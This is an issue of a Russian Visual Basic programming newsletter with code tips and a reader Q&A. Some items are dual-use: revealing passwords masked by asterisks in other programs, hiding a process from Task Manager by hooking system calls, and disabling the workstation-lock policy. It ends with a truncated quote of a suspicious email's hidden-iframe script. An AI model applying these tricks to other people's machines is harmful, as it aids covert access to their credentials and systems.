VBNet
VBMania
Голосование: Голосования сайта VBNet.Ru. Результаты голосований передаются на сайт. Проследите, что есть соединение с интернетом. Ссылки: |
Господа!!! читайте MSDN!!! Несколько слов от автора:
Новый выпуск рассылки! Присылайте коды в рассылку! Если каждый из вас пришлёт по одному коду, то этого хватит, чтобы выпускать рассылку каждый день в течение двух лет!
Читайте! Содержание выпуска
Книги
Остальные книги о VB можно найти здесь. наверх Проверка орфографии Хотелось ли вам добавить возможность проверки орфографии вашего TextBox'а? Такое возможно, если на вашем компьютере установлен MsWord. Private Sub Command1_Click() Text1 = SpellCheck(Text1) End Sub Public Function SpellCheck(ByVal IncorrectText$) As String Dim Word As Object, retText$ On Error Resume Next 'Создать объект и загрузить Word Set Word = CreateObject("Word.Basic") 'Показать Word и вставить в него ваш текст Word.AppShow Word.FileNew Word.Insert IncorrectText 'Запустить проверку орфографии Word.ToolsSpelling Word.EditSelectAll 'Выделить текст и загрузить его обратно в TextBox retText = Word.Selection$() SpellCheck = Left$(retText, Len(retText) - 1) 'Закрыть файл в Word и вернуться в Visual Basic. Word.FileClose 2 Show 'Освободить память от объекта word Set Word = Nothing End Function наверх Как узнать данные, скрытые за звездочками Существует большое количество программ,которые могут вытащить данные, скрытые за звездочками. Вот и я нашел вариант такой программы. Вам достаточно разместить на форме элемент Timer, запустить программу, найти любое текстовое окно, в ктором данные спрятаны за зведочками и два раза щелкнуть мышью на этой на этом текстовом окне. Хотя и не факт, что вы увидите спратанные за звездочками данные! :)) Но я на своем компьютере в некоторых программах смог увидеть несколько запароленных данных. Какие программы? А не скажу... И в завершение, позвольте напомнить вам, как все-таки можно более или менее спрятать данные за звездочками.
Как спрятать данные за звездочками более безопаснее Если вы смотрели пример под номером 299 (вот здесь), то вы могли вытащить скрытые за звездочками данные. Но вот данный пример сможет более качественно скрыть информацию в текстовом поле. Предположим, вы хотите добавить в вашу программу доступ по паролю. У вас есть текстовое поле, в которов вы набираете пароль, скрывающийся за звездочками. Но существует много программ, которые с легкостью показывают текст, скрытый за звездочками. Небольшой совет: в разделе формы General Declarations объявите переменную, которая будет содержать код: Dim pswd As String в свойствах текстового поля установите в PasswordChar звёздочку "*". Теперь кликните по текстовому полю два раза и выберите событие Text1_KeyPress, впишите: Private Sub Text1_KeyPress(KeyAscii As Integer) Теперь нажатия будут отлавливаться, а передоваться будут текстовому полю только звёздочки! И программа-взломщик пароль уже не достанет!!!
Получение содержимого n-ой строки в Multiline TextBox Расположите на форме элемент CommandButton и элемент TextBox. Установите свойство Multiline элемента TextBox как True. Синтаксис вызова функции прост: GetLine(НазваниеОкна.hWnd,
НомерСтроки). Данный пример (при нажатии на
кнопку) покажет содержимое 2-й строки элемента TextBox.
Скролинг текста Расположите на форме элемент CommandButton, элемент TextBox, элемент Timer. Dim strText As String Private Sub Command1_Click() strText = String(30, " ") + "Спасибо, что вы посетили сайт VBnet.RU. Надеюсь, вы нашли много полезного для себя." Timer1.Interval = 100 Timer1.Enabled = True End Sub Private Sub Form_Load() Command1.Caption = "Начать скролинг" With Text1 .Font = "Courier New Cyr" .FontSize = 12 .Width = 3400 End With End Sub Private Sub Timer1_Timer() strText = Mid(strText, 2) & Left(strText, 1) Text1 = strText End Sub наверх СКак сделать первую букву каждого слова заглавной Разместите на форме элемент TextBox. Запустите проект на выполнение и попробуйте набрать несколько слов в элементе TextBox. Private Function ccProperCase(MySourceControl As Control) On Error GoTo ErrH Dim strString As String strString = MySourceControl.Text If IsNull(strString) Then Exit Function strString = StrConv(strString, vbProperCase) MySourceControl.SelStart = Len(strString) MySourceControl.Text = strString Exit Function ErrH: MsgBox "Error at ccProperCase:::- " & Err.Number & " - " & Err.Description, vbCritical Exit Function End Function Private Sub Text1_Change() Call ccProperCase(Text1) End Sub наверх Мои программы BalloonMessage for MS Agent BalloonMessage for Microsoft Agent реализует диалог программы с
пользователем, используя при этом технологию Microsoft Agent. OCX реализует три
типа диалоговых окон: InputBox, MsgBox и MsgLabels. Автора: Шатрыкин Иван и Павел Сурменок. наверх Вопрос/Ответ Здесь Вы можете задать вопрос, или ответить на уже имеющиеся вопросы. Вопросы:Автор вопроса: 001 Ответ ожидается по этому адресу Есть ли в VB какая-либо связь с ASSEMBLERом? Автор вопроса: Andrushin Sergey Ответ ожидается по этому адресу Существую ли функции отсчитывающие кол-во времени прошедшего с момента запуска проложения. Если да, то перечислите их. Автор вопроса: Michael Fezulaev Ответ ожидается по этому адресу Есть у меня проблема не как не могу решить её. Есть textbox когда я его закриваю с помащи свойства Locked от изменений то не получается можно его изменить с помащи меню которое выходит нажав на правую кнопку мышки и мне надо это убрать. Автор вопроса: Саша Ответ ожидается по этому адресу Как узнать какой документ стоит в печати, сколько их. Какие данные вообще можно от них узнать. Можно ли узнать время выхода их на печать ? Автор вопроса: Саша Ответ ожидается по этому адресу Как узнать данные из BIOS (дата) под XP ? Автор вопроса: Александр Ответ ожидается по этому адресу Возможно ли одновременно работать с MDB базой и DAO и ADO, почему-то начали пропадать записи. База используется в основном на корректировку. Записей порядка 27000, но объем не большой 3-5 Мб. Для вывода статистики используется ДатаРепорт подключенный вручную. Доступ к базе 2 пользователя, блокировка оптимистичная. Может какие идеи есть помогите пож. Автор вопроса: Алеша Ответ ожидается по этому адресу Кто-нибудь знает как загрузить и сохранить файл в ListView если ListView 3 столбика.Тагже вставить рисунки. Автор вопроса: lom Ответ ожидается по этому адресу У меня следующая проблема: пишу... Private Sub Form_Load() Dim objWord As Word.Application Dim objDoc As Word.Document Set objWord = New Word.Application Set objDoc = Word.Documents.Add objWord.Visible = True objDoc.Activate End Sub ...вояникает Run-time error '429' ActiveX component can't create object (на компе установлен VB 6.0 (SP5), Word 2000), а попробовал в VB 5-всё работает, так в чём проблема? Автор вопроса: Антон Ответ ожидается по этому адресу У меня такой вопрос: Как вызвать меню файла (т.е. как в проводнике, когда щелкаешь по нему правой кнопкой) в собственной программе. Автор вопроса: shadow Ответ ожидается по этому адресу есть куча картинок (pic001.bmp, pic002.bmp... и т.д.). Необходимо собрать их в avi. Спрашивается: КАК??? или ссылочку дайте. Автор вопроса: Антон Ответ ожидается по этому адресу Как сделать просмотр папки в ListView? (Например, как в Windows Commander) Причем значки должны соответствовать файлам. А также должна быть сортировка. Если есть у кого-нибудь исходники и кому не в лом мыльте на leonxl@vpcit.ru Автор вопроса: Michael Fezulaev Ответ ожидается по этому адресу Создал базу даных в access XP и есть там поле с раширение Ole Object для фоток пытался вставить в picturebox или ole кричит не может свезать обьект с базай данных. Пользуесь с обьектом Adodc. Не подскажете что можно сделать Ответы: Вопрос: Можно ли запустить мою программу после того как польяователь нажал на кнопку Выключения компьютера или его переяагруяки черея меню Пуск? Примечание: желательно, чтобы код(коды) были под Win98/Me и(или) WinXP. Ответ: Автор ответа: Lars Тебе надо занести в реестр в секцию одноразового автозапуска (HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce) свою прогу, точнее сказать путь к ней. А когда происходит Form_QueryUnload, т.е. нормальное состояние выхода из проги, удалять из секции одноразового запуска. Вопрос: 1.Мне необходимо получить список всех зарегестрированных на машине серверов, а потом прочитать список их System DSN для каждого сервера. Как это можно сделать? 2. Для того чтобы исключить программу из диспетчера задач по Ctrl-Alt-Del я использую функцию RegisterServiceProcess. Под 95 виндами все работает шикарно, но на Windows 2000 Server (SP2), на ней прога ругается и говорит, что ссылку на данную функцию в kernel32 она не находит. В чем может быть дело? Если кто сталкивался с такой байдой буду признателен за совет. Ответ: Автор ответа: as 2. B W2000 нет RegisterServiceProcess. Нужно делать перехват вызовов NtQuerySystemInformation ... Вопрос: Помогите решить задачу по получению данных с удаленных веб-сайтов. На сколько я понял стандартное решение это Microsoft Internet Controls (SHDOCVW.DLL), открываем Explorer: Set IE = New InternetExplorer... это все понятно, а как получить данные от Explorer открытого не программой или от нескольких открытых страниц, есть ли функция возвращающая количество IE и переключения между ними или подскажите другие методы. Ответ: Автор ответа: Владимир Кирко На http://www.relib.com/sourcescode.asp?id=179&NoBox=True лежал в своё время такой пример (сейчас его найти не могу, но текст остался, и даже кое-как работает, так что разобраться можно. http://www.relib.com/articles/article.asp?id=73 - близкая, по теме, статья). 'Прочитать веб-страницу из запущенного Internet Explorer 'Пример показывает как с помощью COM и коллекции ShellWindows 'определить есть ли запущенные окна Internet Explorer и получить 'содержимое просматриваемых веб-страниц. 'References: Microsoft Internet Controls (SHDOCVW.DLL), 'Microsoft HTML Object Library (MSHTML.TBL) 'Author: Tim v. Schauroth Dim SWs As New SHDocVw.ShellWindows Dim IE As SHDocVw.InternetExplorer 'Главная процедура Public Sub ReadHTML() 'Dim Doc 'Цикл по всем окнам IE For Each IE In SWs Set Doc = IE.document If TypeOf Doc Is HTMLDocument Then sTitle = Doc.Title Set IEBody = Doc.body Set IETextRange = IEBody.createTextRange() HTMLCode = IETextRange.htmlText ' Текст веб-страницы End If Next End Sub Private Sub Command1_Click() Dim Doc 'Цикл по всем окнам IE For Each IE In SWs Set Doc = IE.document If TypeOf Doc Is HTMLDocument Then sTitle = Doc.Title Set IEBody = Doc.body Set IETextRange = IEBody.createTextRange() HTMLCode = IETextRange.htmlText ' Текст веб-страницы Text1.Text = HTMLCode End If Next End Sub Вопрос: Суть в следующем. Я с помощью апи SetParent делаю контрол дочерним окном рабочего стола. После этого мой контрол, естественно, повисает на экране отдельно от моей формы, чего я, в общем-то, и добиваюсь. Но при этом он отмечается собственной кнопкой на Taskbar-e. Как этого избежать? Ведь у контрола просто нет свойства ShowInTaskbar. Если сформулировать по-другому: как добиться, чтобы окно не отображалось на Taskbar, если нет возможности изменить свойство ShowInTaskbar? Ответ: Автор ответа: shadow А какие этико-моральные соображения мешают тебе положить этот контрол на форму без полей и заголовка, и обгрызьть ей края по размеру контрола ( и естественно поставить ShowInTaskbar в false ) ??? Вопрос: На форме имеется Frame с controls(text boxes, buttons и labels). Как сделать так, что бы на Form_Resize не только растягивался фрэйм, но и контролы все изменяли свое местоположение в нем, и не меняли свой размер и порядок, а только расстояние между друг другом ? Ответ: Автор ответа: Корик Я не знаю, есть ли способ попорще, но ведь у тебя есть евент FORM_RESIZE ну так и изменяй там, как захочешь. Только давай не абсолютные значения, а относительные размера формы, т.е. в процентах от её размера. Вопрос: Не подскажите где можно найти описание всех свойств и методов контрола MediaPlayer Ответ: Автор ответа: Артем Кривокрисенко Да в MSDN есть! Grafics and multimedia servisies->Windows Media->Windows media player 7 - это главная страница медиа плеера. Дальше иди по ссылкам туда, куда надо. Вопрос: Я хочу создать в реестре значение типа DWORD равное = 1, а оно мне создаёт 31(в шестнадцатеричной) и 49 (в десятичной). Привожу код. Подскажите пожайлуста где ошибка? Private Sub PiZdA_Click() Dim hREn As Long, IDenT As Long, znak As String hREn = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", 0, KEY_ALL_ACCESS, IDenT) znak = 1 Print znak Call RegSetValueEx(IDenT, "NoDesktop", 0, REG_DWORD, ByVal znak, 4) End Sub Ответ: Автор ответа: Владимир Кирко У Вас переменная znak описана как String. Вот Вам её так и записывают как просили. Ответ: Автор ответа: Артем Кривокрисенко Кажется, именно тебе недавно отвечал на этот вопрос. Либо объяви znak as long либо напиши znak=chr(1) (именно этот вариант у меня заработал) Ответ: Автор ответа: Mind Engine Народ, вы чего в API то лезете за реестром? На любой тачке установлена виндявая скриптоза и она имеет классные пункции по работе с реестрозой! И никаких лишних движений нэ надо делать для юзанья этого рулеза (по крайней мере по сравнении с API)! Берет правда тока вот такие типы, зато могет по всем разделам шариться! REG_SZ REG_EXPAND_SZ REG_BINARY REG_DWORD Ну сами лукайте! ------ Dim ws, pathos, valos Set ws = CreateObject("WScript.Shell") pathos = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\" valos = 1 'Писалка и просто пишет и создает, если ключа не было! ws.RegWrite pathos & "DisableLockWorkstation", valos, "REG_DWORD" 'Читалка ws.RegRead(pathos & "DisableLockWorkstation") 'Удалялка ws.RegDelete pathos & "DisableLockWorkstation" ------ Удивительное рядом! :о) Вопрос: Как с помощью Sock пердать с одного компьютера что-нибуть на другой ? Т.е. мне мужно что-бы один Sock отсылал данные другой принимал. Связь локальная Ответ: Автор ответа: ]CBK[CRaSH Ну тут два пути. Смотря по какому протаколу они у тебя будут работаь. Если по TCP/IP тогда вот код: Клиент Private Sub Form_Load() tcpClient.RemotePort = 100 End Sub Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long) Dim strData As String tcpClient.GetData strData txtReceive.Text = strData End Sub Private Sub cmdSend_Click() tcpClient.SendData txtSend.Text End Sub Private Sub cmdConnect_Click() tcpClient.RemoteHost = txtPCName.Text tcpClient.Connect End Sub Сервер Private Sub Form_Load() tcpServer.LocalPort = 100 tcpServer.Listen End Sub Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long) Dim strData As String tcpServer.GetData strData txtReceive.Text = strData End Sub Private Sub cmdSend_Click() tcpServer.SendData txtSend.Text End Sub Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long) If tcpServer.State <> sckClosed Then tcpServer.Close tcpServer.Accept requestID End Sub А вот с протаколом UDP все обстаит гараздо лучше: Клиент Private Sub Form_Load() sckClient.RemotePort = 100 sckClient.connect End Sub Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long) 'Эта процедура обеспецевает прием данных. ВО Dim strData As String sckClient.GetData strData txtReceive.Text = strData End Sub сервер Private Sub Form_Load() sckserver.localPort = 100 sckserver.bind End Sub Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long) 'Эта процедура обеспецевает прием данных. ВО Dim strData As String sckserver.GetData strData txtReceive.Text = strData End Sub Вопрос: Привет всем! Пока могу с вами говорить. Пришло мне по почте письмо 15 января, наверное с вирусом. Может я и не единственный. Писмо имеет "Тему: Fw: Redirection error notification"; "От: Vvi@izhstal.ru.COPYMAIL" и вложение с названием SiamoDiTe.exe Если письмо открыть блокнотом то между тегами есть скрипт iframe id="Sample" style="display:none" и setTimeout('f2();',5000); function f2() { Sample.document.write(' |
|||||||||||||||
Выпуск подготовили: |
Сурменок Павел |